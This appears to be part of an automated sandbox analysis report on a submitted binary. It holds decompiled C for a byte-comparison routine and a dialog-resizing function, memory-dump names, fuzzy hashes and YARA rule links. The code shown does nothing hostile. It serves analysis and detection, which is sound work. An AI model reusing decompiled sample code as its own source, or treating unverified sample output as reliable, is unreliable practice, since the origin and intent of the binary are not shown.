								_t298 = ( *(_t313 - 0x10) & 0x000000ff) - ( *(_t275 - 0x10) & 0x000000ff);
								if(_t298 == 0) {
									L39:
									_t300 = ( *(_t313 - 0xf) & 0x000000ff) - ( *(_t275 - 0xf) & 0x000000ff);
									if(_t300 == 0) {
										L41:
										_t231 = ( *(_t313 - 0xe) & 0x000000ff) - ( *(_t275 - 0xe) & 0x000000ff);
										if(_t231 != 0) {
											_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
										}
										goto L44;
									}
									_t231 = (0 | _t300 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t231 = (0 | _t298 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t231 = (0 | _t296 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t302 = (_t186 & 0x000000ff) - ( *(_t275 - 0x15) & 0x000000ff);
						if(_t302 == 0) {
							L26:
							_t304 = ( *(_t313 - 0x14) & 0x000000ff) - ( *(_t275 - 0x14) & 0x000000ff);
							if(_t304 == 0) {
								L28:
								_t306 = ( *(_t313 - 0x13) & 0x000000ff) - ( *(_t275 - 0x13) & 0x000000ff);
								if(_t306 == 0) {
									L30:
									_t231 = ( *(_t313 - 0x12) & 0x000000ff) - ( *(_t275 - 0x12) & 0x000000ff);
									if(_t231 != 0) {
										_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
									}
									goto L33;
								}
								_t231 = (0 | _t306 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t231 = (0 | _t304 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t231 = (0 | _t302 > 0x00000000) * 2 - 1;
						if(_t231 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t308 = (_t185 & 0x000000ff) - ( *(_t275 - 0x19) & 0x000000ff);
					if(_t308 == 0) {
						L15:
						_t310 = ( *(_t313 - 0x18) & 0x000000ff) - ( *(_t275 - 0x18) & 0x000000ff);
						if(_t310 == 0) {
							L17:
							_t312 = ( *(_t313 - 0x17) & 0x000000ff) - ( *(_t275 - 0x17) & 0x000000ff);
							if(_t312 == 0) {
								L19:
								_t231 = ( *(_t313 - 0x16) & 0x000000ff) - ( *(_t275 - 0x16) & 0x000000ff);
								if(_t231 != 0) {
									_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
								}
								goto L22;
							}
							_t231 = (0 | _t312 > 0x00000000) * 2 - 1;
							if(_t231 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t231 = (0 | _t310 > 0x00000000) * 2 - 1;
						if(_t231 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t231 = (0 | _t308 > 0x00000000) * 2 - 1;
					if(_t231 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
					if(__edi == 0) {
						L4:
						__edi =  *(__esi - 0x1c) & 0x000000ff;
						__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
						if(__edi == 0) {
							L6:
							__edi =  *(__esi - 0x1b) & 0x000000ff;
							__edi = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
							if(__edi == 0) {
								L8:
								__ecx =  *(__esi - 0x1a) & 0x000000ff;
								__ecx = ( *(__esi - 0x1a) & 0x000000ff) - ( *(__edx - 0x1a) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L11;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t184 = _t231;
				return _t184;
			}

0x0136fcde
0x0136fcde
0x0136fce4
0x0136fd5b
0x0136fd5d
0x0136fd5f
0x00000000
0x00000000
0x0136fd65
0x0136fd6b
0x0136fdf2
0x0136fdf4
0x0136fdf6
0x00000000
0x00000000
0x0136fdfc
0x0136fe02
0x0136fe89
0x0136fe8b
0x0136fe8d
0x00000000
0x00000000
0x0136fe93
0x0136fe99
0x0136ff20
0x0136ff22
0x0136ff24
0x00000000
0x00000000
0x0136ff2a
0x0136ff30
0x0136ffb7
0x0136ffb9
0x0136ffbb
0x00000000
0x00000000
0x0136ffc7
0x0137004f
0x01370051
0x01370053
0x00000000
0x00000000
0x01370059
0x0137005f
0x013700e6
0x013700e8
0x013700ea
0x013700f8
0x013700fa
0x01370107
0x01370107
0x013700fa
0x00000000
0x013700ea
0x0137006c
0x0137006e
0x01370086
0x0137008e
0x01370090
0x013700a8
0x013700b0
0x013700b2
0x013700ca
0x013700d2
0x013700d4
0x013700dd
0x013700dd
0x00000000
0x013700d4
0x013700bb
0x013700c4
0x00000000
0x00000000
0x00000000
0x013700c4
0x01370099
0x013700a2
0x00000000
0x00000000
0x00000000
0x013700a2
0x01370077
0x01370080
0x00000000
0x00000000
0x00000000
0x01370080
0x0136ffd5
0x0136ffd7
0x0136ffef
0x0136fff7
0x0136fff9
0x01370011
0x01370019
0x0137001b
0x01370033
0x0137003b
0x0137003d
0x01370046
0x01370046
0x00000000
0x0137003d
0x01370024
0x0137002d
0x00000000
0x00000000
0x00000000
0x0137002d
0x01370002
0x0137000b
0x00000000
0x00000000
0x00000000
0x0137000b
0x0136ffe0
0x0136ffe9
0x00000000
0x00000000
0x00000000
0x0136ffe9
0x0136ff3d
0x0136ff3f
0x0136ff57
0x0136ff5f
0x0136ff61
0x0136ff79
0x0136ff81
0x0136ff83
0x0136ff9b
0x0136ffa3
0x0136ffa5
0x0136ffae
0x0136ffae
0x00000000
0x0136ffa5
0x0136ff8c
0x0136ff95
0x00000000
0x00000000
0x00000000
0x0136ff95
0x0136ff6a
0x0136ff73
0x00000000
0x00000000
0x00000000
0x0136ff73
0x0136ff48
0x0136ff51
0x00000000
0x00000000
0x00000000
0x0136ff51
0x0136fea6
0x0136fea8
0x0136fec0
0x0136fec8
0x0136feca
0x0136fee2
0x0136feea
0x0136feec
0x0136ff04
0x0136ff0c
0x0136ff0e
0x0136ff17
0x0136ff17
0x00000000
0x0136ff0e
0x0136fef5
0x0136fefe
0x00000000
0x00000000
0x00000000
0x0136fefe
0x0136fed3
0x0136fedc
0x00000000
0x00000000
0x00000000
0x0136fedc
0x0136feb1
0x0136feba
0x00000000
0x00000000
0x00000000
0x0136feba
0x0136fe0f
0x0136fe11
0x0136fe29
0x0136fe31
0x0136fe33
0x0136fe4b
0x0136fe53
0x0136fe55
0x0136fe6d
0x0136fe75
0x0136fe77
0x0136fe80
0x0136fe80
0x00000000
0x0136fe77
0x0136fe5e
0x0136fe67
0x00000000
0x00000000
0x00000000
0x0136fe67
0x0136fe3c
0x0136fe45
0x00000000
0x00000000
0x00000000
0x0136fe45
0x0136fe1a
0x0136fe23
0x00000000
0x00000000
0x00000000
0x0136fe23
0x0136fd78
0x0136fd7a
0x0136fd92
0x0136fd9a
0x0136fd9c
0x0136fdb4
0x0136fdbc
0x0136fdbe
0x0136fdd6
0x0136fdde
0x0136fde0
0x0136fde9
0x0136fde9
0x00000000
0x0136fde0
0x0136fdc7
0x0136fdd0
0x00000000
0x00000000
0x00000000
0x0136fdd0
0x0136fda5
0x0136fdae
0x00000000
0x00000000
0x00000000
0x0136fdae
0x0136fd83
0x0136fd8c
0x00000000
0x00000000
0x00000000
0x0136fce6
0x0136fce6
0x0136fced
0x0136fcef
0x0136fd03
0x0136fd03
0x0136fd0b
0x0136fd0d
0x0136fd21
0x0136fd21
0x0136fd29
0x0136fd2b
0x0136fd3f
0x0136fd3f
0x0136fd47
0x0136fd49
0x0136fd52
0x0136fd52
0x00000000
0x0136fd49
0x0136fd31
0x0136fd34
0x0136fd3d
0x00000000
0x00000000
0x00000000
0x0136fd3d
0x0136fd13
0x0136fd16
0x0136fd1f
0x00000000
0x00000000
0x00000000
0x0136fd1f
0x0136fcf5
0x0136fcf8
0x0136fd01
0x00000000
0x00000000
0x00000000
0x0136fd01
0x0136fcd6
0x0136fcd6
0x01370ac7

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: d35602317eb1392112be6389bca3bc39ad5f7391c6142d7fc86802537b26f5b9
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: B1C195722054930AEF2E463DD53403EBEAD6EA36B531A476DD8B2CB1CDFE10D164D620

Uniqueness

Uniqueness Score: -1.00%

Function 0136F8C6, Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: c6b5a0ea64b6aa78748585e1dd53c2b079090559d13a1e3f7168e1a2ddc0542f
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 56C185722055530AEF2E463DE53403EBEAD6EA26B931A975DD8B3CB1CDFE20C124D610

Uniqueness

Uniqueness Score: -1.00%

Function 0135DF12, Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4175ef2a0ec0d7cf7e6be4c9e46d5a96382782e97528791eda8bd5fe7a931d0f
Instruction ID: a2902f3166cf387fcb47a751bd52d602f2f93b2ad65e5116a413503ce0294818
Opcode Fuzzy Hash: 4175ef2a0ec0d7cf7e6be4c9e46d5a96382782e97528791eda8bd5fe7a931d0f
Instruction Fuzzy Hash: 6DE147755183808FC315CF29E49086ABBF4BB8A301F89095EF9D587356C335EA4ACF62

Uniqueness

Uniqueness Score: -1.00%

Function 0136364E, Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 670b102bee23b918090604c493983002a4fd191d89aaaada348980dc4f2cf576
Instruction ID: 56a1f7748d5a8cff634cba115b46b36343a6114456d342dceb95d94e69cda322
Opcode Fuzzy Hash: 670b102bee23b918090604c493983002a4fd191d89aaaada348980dc4f2cf576
Instruction Fuzzy Hash: DB9148B020434A8BDB24EE6CC894BFE7BDDBB50308F048A2DD99B97285DA789548C751

Uniqueness

Uniqueness Score: -1.00%

Function 01373EE9, Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91cbcc30159b8a5b2d80f1b249f996f96e2de1a94de50313f23a72850aebdd61
Instruction ID: 26540be5015b007aca9f053ca534354189be867591cff4323fef3ff6609a6345
Opcode Fuzzy Hash: 91cbcc30159b8a5b2d80f1b249f996f96e2de1a94de50313f23a72850aebdd61
Instruction Fuzzy Hash: 0D61A97170070DA6EE35992C9894BBEA7A8FF5168CF00051EE6C3CB6C1D61EF94AD312

Uniqueness

Uniqueness Score: -1.00%

Function 0136397F, Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1094cbaabbb87eae24529d212b46aee9e342c03f428bb804a3628aa9adfdf6f1
Instruction ID: 0c6241e265115f1f2a1679b17f62338c861b0fd329e9df276f1ab65a79092e40
Opcode Fuzzy Hash: 1094cbaabbb87eae24529d212b46aee9e342c03f428bb804a3628aa9adfdf6f1
Instruction Fuzzy Hash: 5B714A716043464BEB35DE6CC8C0FAD7BDCFB9170CF048A2DD98A8B68ACA748584C755

Uniqueness

Uniqueness Score: -1.00%

Function 01373CBA, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction ID: c7fbcdaca93d404a89e42ed5b503b286a4c54c3917b70460e6d273bf28a3b516
Opcode Fuzzy Hash: 5deea3b29f66a918188f7a75532971316276c2599c24e1ebb0fa75850081f94e
Instruction Fuzzy Hash: 4F519A72604A4D97EB39952C85947FF6FCDBB1260CF08091DDA86CBA82C71DE901F352

Uniqueness

Uniqueness Score: -1.00%

Function 0135DADD, Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a500d4e5cf8e01723e334c101cc873d4638781614ee9b2f7e85d89c61fb3e43
Instruction ID: 85880f2b86f0cc3315e5b9e5125fd2acdeb4a7cde5eedd1428520e01048c7f66
Opcode Fuzzy Hash: 7a500d4e5cf8e01723e334c101cc873d4638781614ee9b2f7e85d89c61fb3e43
Instruction Fuzzy Hash: B381BF8211A2D4ADCB668E7D30E12F93FA95773741F1C40FAC8DA8729BD077469AC721

Uniqueness

Uniqueness Score: -1.00%

Function 0135E510, Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1298957285844ece990d4fd6dece4e40f6b98066dcb0c97f95b3fdf36fe3246d
Instruction ID: e2c213bbba8d39b5bf7e64da90e95ea393f3b7434c9a407b27e7aad651771987
Opcode Fuzzy Hash: 1298957285844ece990d4fd6dece4e40f6b98066dcb0c97f95b3fdf36fe3246d
Instruction Fuzzy Hash: 8151E37050C3958EC752CF29819486EFFE1AF9A61CF49486EE8E54B213E130D74ACF62

Uniqueness

Uniqueness Score: -1.00%

Function 0135F5C5, Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d7292f9096ce326ed5eb44a6320d7ecad33269be9afcaf4037ce3501a997066
Instruction ID: 9e1943e684d68f315d771fa4a7adc07fe9d21eb2fe874d399050d69bc31dcdfa
Opcode Fuzzy Hash: 8d7292f9096ce326ed5eb44a6320d7ecad33269be9afcaf4037ce3501a997066
Instruction Fuzzy Hash: F7512771A083018BC748CF19D49055AF7E1FF88314F054A2DE859A7741DB34E959CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 013633D3, Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5a3c253f54b37c12cd05f9979f55901904f153f4bb8052c0732b1284848e5c5
Instruction ID: a894e4382c9312da0615e8805fb0a8c429014f230b2d4005207d1e071127e4d9
Opcode Fuzzy Hash: c5a3c253f54b37c12cd05f9979f55901904f153f4bb8052c0732b1284848e5c5
Instruction Fuzzy Hash: A831C2B56047168FCB15DF2CC8506AAFFE4FB95608F00862DE989E7741C734E909CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01355D7E, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a15e14e216bf097fdaaade9b014e9c9510cbfde37921aeb58deaf658a813136
Instruction ID: 62b8ed17de54ae91b934f9c3038e6c7f91f89521a35038e57a7e21e0df065c12
Opcode Fuzzy Hash: 6a15e14e216bf097fdaaade9b014e9c9510cbfde37921aeb58deaf658a813136
Instruction Fuzzy Hash: D721DA72A201214BCB18CF2ED89087E77A9A74671574A813BEE469F385C534FA25CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0135D70B, Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 235
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0135D70B(struct HWND__* __ecx, void* __eflags, intOrPtr _a8, char _a12) {
				struct HWND__* _v8;
				short _v2048;
				char _v2208;
				char _v2288;
				signed int _v2292;
				char _v2300;
				intOrPtr _v2304;
				struct tagRECT _v2320;
				intOrPtr _v2324;
				intOrPtr _v2336;
				struct tagRECT _v2352;
				struct tagRECT _v2368;
				signed int _v2376;
				char _v2377;
				intOrPtr _v2384;
				intOrPtr _v2393;
				void* __ebx;
				void* __esi;
				signed int _t96;
				signed int _t104;
				struct HWND__* _t106;
				signed int _t119;
				signed int _t134;
				void* _t150;
				void* _t155;
				char _t156;
				void* _t157;
				signed int _t158;
				intOrPtr _t160;
				void* _t163;
				void* _t169;
				long _t170;
				signed int _t174;
				signed int _t185;
				struct HWND__* _t186;
				struct HWND__* _t187;
				void* _t188;
				void* _t191;
				signed int _t192;
				long _t193;
				void* _t200;
				int* _t201;
				struct HWND__* _t202;
				void* _t204;
				void* _t205;
				void* _t207;
				void* _t209;
				void* _t213;

				_t202 = __ecx;
				_v2368.bottom = __ecx;
				E01353E41( &_v2208, 0x50, L"$%s:", _a8);
				_t207 =  &_v2368 + 0x10;
				E013611FA( &_v2208,  &_v2288, 0x50);
				_t96 = E01372BB0( &_v2300);
				_t186 = _v8;
				_t155 = 0;
				_v2376 = _t96;
				_t209 =  *0x138d5f4 - _t155; // 0x63
				if(_t209 <= 0) {
					L8:
					_t156 = E0135CD7D(_t155, _t202, _t188, _t213, _a8,  &(_v2368.right),  &(_v2368.top));
					_v2377 = _t156;
					GetWindowRect(_t186,  &_v2352);
					GetClientRect(_t186,  &(_v2320.top));
					_t169 = _v2352.right - _v2352.left + 1;
					_t104 = _v2320.bottom;
					_t191 = _v2352.bottom - _v2352.top + 1;
					_v2368.right = 0x64;
					_t204 = _t191 - _v2304;
					_v2368.bottom = _t169 - _t104;
					if(_t156 == 0) {
						L15:
						_t221 = _a12;
						if(_a12 == 0 && E0135CE00(_t156, _v2368.bottom, _t221, _a8, L"CAPTION",  &_v2048, 0x400) != 0) {
							SetWindowTextW(_t186,  &_v2048);
						}
						L18:
						_t205 = _t204 - GetSystemMetrics(8);
						_t106 = GetWindow(_t186, 5);
						_t187 = _t106;
						_v2368.bottom = _t187;
						if(_t156 == 0) {
							L24:
							return _t106;
						}
						_t157 = 0;
						while(_t187 != 0) {
							__eflags = _t157 - 0x200;
							if(_t157 >= 0x200) {
								goto L24;
							}
							GetWindowRect(_t187,  &_v2320);
							_t170 = _v2320.top.left;
							_t192 = 0x64;
							asm("cdq");
							_t193 = _v2320.left;
							asm("cdq");
							_t119 = (_t170 - _t205 - _v2336) * _v2368.top;
							asm("cdq");
							_t174 = 0x64;
							asm("cdq");
							asm("cdq");
							 *0x138dfd0(_t187, 0, (_t193 - (_v2352.right - _t119 % _t174 >> 1) - _v2352.bottom) * _v2368.right / _t174, _t119 / _t174, (_v2320.right - _t193 + 1) * _v2368.right / _v2352.top, (_v2320.bottom - _t170 + 1) * _v2368.top / _t192, 0x204);
							_t106 = GetWindow(_t187, 2);
							_t187 = _t106;
							__eflags = _t187 - _v2384;
							if(_t187 == _v2384) {
								goto L24;
							}
							_t157 = _t157 + 1;
							__eflags = _t157;
						}
						goto L24;
					}
					if(_a12 != 0) {
						goto L18;
					}
					_t158 = 0x64;
					asm("cdq");
					_t134 = _v2292 * _v2368.top;
					_t160 = _t104 * _v2368.right / _t158 + _v2352.right;
					_v2324 = _t160;
					asm("cdq");
					_t185 = _t134 % _v2352.top;
					_v2352.left = _t134 / _v2352.top + _t204;
					asm("cdq");
					asm("cdq");
					_t200 = (_t191 - _v2352.left - _t185 >> 1) + _v2336;
					_t163 = (_t169 - _t160 - _t185 >> 1) + _v2352.bottom;
					if(_t163 < 0) {
						_t163 = 0;
					}
					if(_t200 < 0) {
						_t200 = 0;
					}
					 *0x138dfd0(_t186, 0, _t163, _t200, _v2324, _v2352.left,  !(GetWindowLongW(_t186, 0xfffffff0) >> 0xa) & 0x00000002 | 0x00000204);
					GetWindowRect(_t186,  &_v2368);
					_t156 = _v2393;
					goto L15;
				} else {
					_t201 = 0x138d154;
					do {
						if( *_t201 > 0) {
							_t9 =  &(_t201[1]); // 0x13833e0
							_t150 = E01375460( &_v2288,  *_t9, _t96);
							_t207 = _t207 + 0xc;
							if(_t150 == 0) {
								_t12 =  &(_t201[1]); // 0x13833e0
								if(E0135CF57(_t155, _t202, _t201,  *_t12,  &_v2048, 0x400) != 0) {
									SetDlgItemTextW(_t186,  *_t201,  &_v2048);
								}
							}
							_t96 = _v2368.top;
						}
						_t155 = _t155 + 1;
						_t201 =  &(_t201[3]);
						_t213 = _t155 -  *0x138d5f4; // 0x63
					} while (_t213 < 0);
					goto L8;
				}
			}

0x0135d723
0x0135d72d
0x0135d731
0x0135d736
0x0135d748
0x0135d752
0x0135d757
0x0135d75e
0x0135d761
0x0135d765
0x0135d76b
0x0135d7c8
0x0135d7e0
0x0135d7e8
0x0135d7ec
0x0135d7f8
0x0135d80a
0x0135d811
0x0135d815
0x0135d818
0x0135d820
0x0135d826
0x0135d82c
0x0135d8cd
0x0135d8cd
0x0135d8d5
0x0135d906
0x0135d906
0x0135d90c
0x0135d917
0x0135d919
0x0135d91f
0x0135d921
0x0135d927
0x0135d9d9
0x0135d9d9
0x0135d9d9
0x0135d92d
0x0135d9c7
0x0135d934
0x0135d93a
0x00000000
0x00000000
0x0135d946
0x0135d950
0x0135d965
0x0135d96a
0x0135d96d
0x0135d983
0x0135d98b
0x0135d98d
0x0135d98e
0x0135d996
0x0135d9a8
0x0135d9af
0x0135d9b8
0x0135d9be
0x0135d9c0
0x0135d9c4
0x00000000
0x00000000
0x0135d9c6
0x0135d9c6
0x0135d9c6
0x00000000
0x0135d9c7
0x0135d83a
0x00000000
0x00000000
0x0135d847
0x0135d848
0x0135d851
0x0135d856
0x0135d85c
0x0135d860
0x0135d861
0x0135d867
0x0135d871
0x0135d878
0x0135d881
0x0135d885
0x0135d889
0x0135d88b
0x0135d88b
0x0135d88f
0x0135d891
0x0135d891
0x0135d8b7
0x0135d8c3
0x0135d8c9
0x00000000
0x0135d76d
0x0135d76d
0x0135d772
0x0135d775
0x0135d778
0x0135d780
0x0135d785
0x0135d78a
0x0135d79b
0x0135d7a5
0x0135d7b2
0x0135d7b2
0x0135d7a5
0x0135d7b8
0x0135d7b8
0x0135d7bc
0x0135d7bd
0x0135d7c0
0x0135d7c0
0x00000000
0x0135d772

APIs

_swprintf.LIBCMT ref: 0135D731

Part of subcall function 01353E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 01353E54

